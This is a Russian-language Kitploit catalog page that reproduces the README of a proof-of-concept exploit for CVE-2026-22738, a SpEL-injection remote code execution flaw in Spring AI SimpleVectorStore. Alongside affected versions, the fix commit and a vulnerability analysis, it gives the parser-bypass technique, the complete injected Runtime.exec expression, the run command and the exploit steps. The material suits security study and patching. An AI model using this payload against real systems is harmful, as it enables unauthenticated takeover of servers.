Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22738-POC — Эксплойт proof-of-concept для CVE-2026-22738, критической RCE-уязвимости через внедрение SpEL в Spring AI SimpleVectorStore, демонстрирующий неаутентифицированное выполнение OS-команд. | Kitploit
Инструменты/GitHubGitHub/n0n4m3x41/cve-2026-22738-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHubn0n4m3x41/cve-2026-22738-poc

CVE-2026-22738-POC

Эксплойт proof-of-concept для CVE-2026-22738, критической RCE-уязвимости через внедрение SpEL в Spring AI SimpleVectorStore, демонстрирующий неаутентифицированное выполнение OS-команд.

Репозиторий
1324 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22738 — SpEL-инъекция RCE в Spring AI SimpleVectorStore

CVSS CWE Status

Неаутентифицированное удалённое выполнение кода через инъекцию в Spring Expression Language (SpEL) в SimpleVectorStore.similaritySearch().

Затронутые версии

| Флаг | По умолчанию | Описание | |---|---|---| | `--target` | `http://localhost:8082` | Базовый URL уязвимого приложения | | `--wait` | выкл. | Ожидать готовности цели (полезно после `docker compose up`) |
АртефактУязвимыеИсправленные
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Коммит с исправлением: ba9220b22383e430d5f801ce8e4fa01cf9e75f29


Уязвимость

SimpleVectorStore.similaritySearch() передаёт имя ключа фильтра, предоставленное вызывающей стороной, без изменений в шаблон SpEL, вычисляемый с помощью StandardEvaluationContext. Поскольку StandardEvaluationContext открывает полный API рефлексии JVM, злоумышленник может внедрить:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

в ключ фильтра для достижения неаутентифицированного выполнения OS-команд.

Детали обхода

Наивная инъекция не работает «из коробки» — необходимо обойти две особенности парсера:

  1. Удаление одинарных кавычек — ключ, начинающийся с ', рассматривается как строка в кавычках; внешние кавычки удаляются, искажая полезную нагрузку.
  2. Обёртка двойными кавычками — оборачивание полезной нагрузки в "..." заставляет парсер удалить внешние двойные кавычки, оставляя внутреннее SpEL-выражение нетронутым в качестве значения ключа, передаваемого в #metadata['<KEY>'].
  3. Пустой ключ метаданных — использование #metadata[''] с обеих сторон внедрённого выражения (вместо неопределённой переменной) позволяет избежать ошибки SpEL unknown variable, при этом всё равно вызывая exec().

Результирующее вычисленное выражение принимает вид:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Индикатор успеха

Тело HTTP-ответа будет содержать EL1030E — ошибку выполнения SpEL:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

Эта ошибка возникает после возврата из exec(), что подтверждает выполнение OS-команд без необходимости во внешнем (out-of-band) канале связи.


Использование

Предварительные требования:

root@kitploit:~
pip install requests

Запуск эксплойта:

root@kitploit:~
python3 exploit.py [--target http://localhost:8082] [--wait]
image

Docker Desktop (macOS/Windows): используйте host.docker.internal вместо 127.0.0.1 для полезных нагрузок с обратным вызовом.


Шаги эксплойта

PoC выполняет пять последовательных шагов:

ШагОписание
1Базовая проверка — подтвердить доступность конечной точки и возврат предварительно загруженных данных
2Слепой SpEL-зонд — прочитать java.version через T(java.lang.System) для подтверждения точки инъекции
3RCE: touch /tmp/pwned_cve_2026_22738 внутри контейнера
4RCE: записать вывод id / uname / hostname в /tmp/rce_proof.txt
5Проверка через docker exec — вывести содержимое файла доказательства

Отказ от ответственности

Данный proof-of-concept предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

Скачать инструмент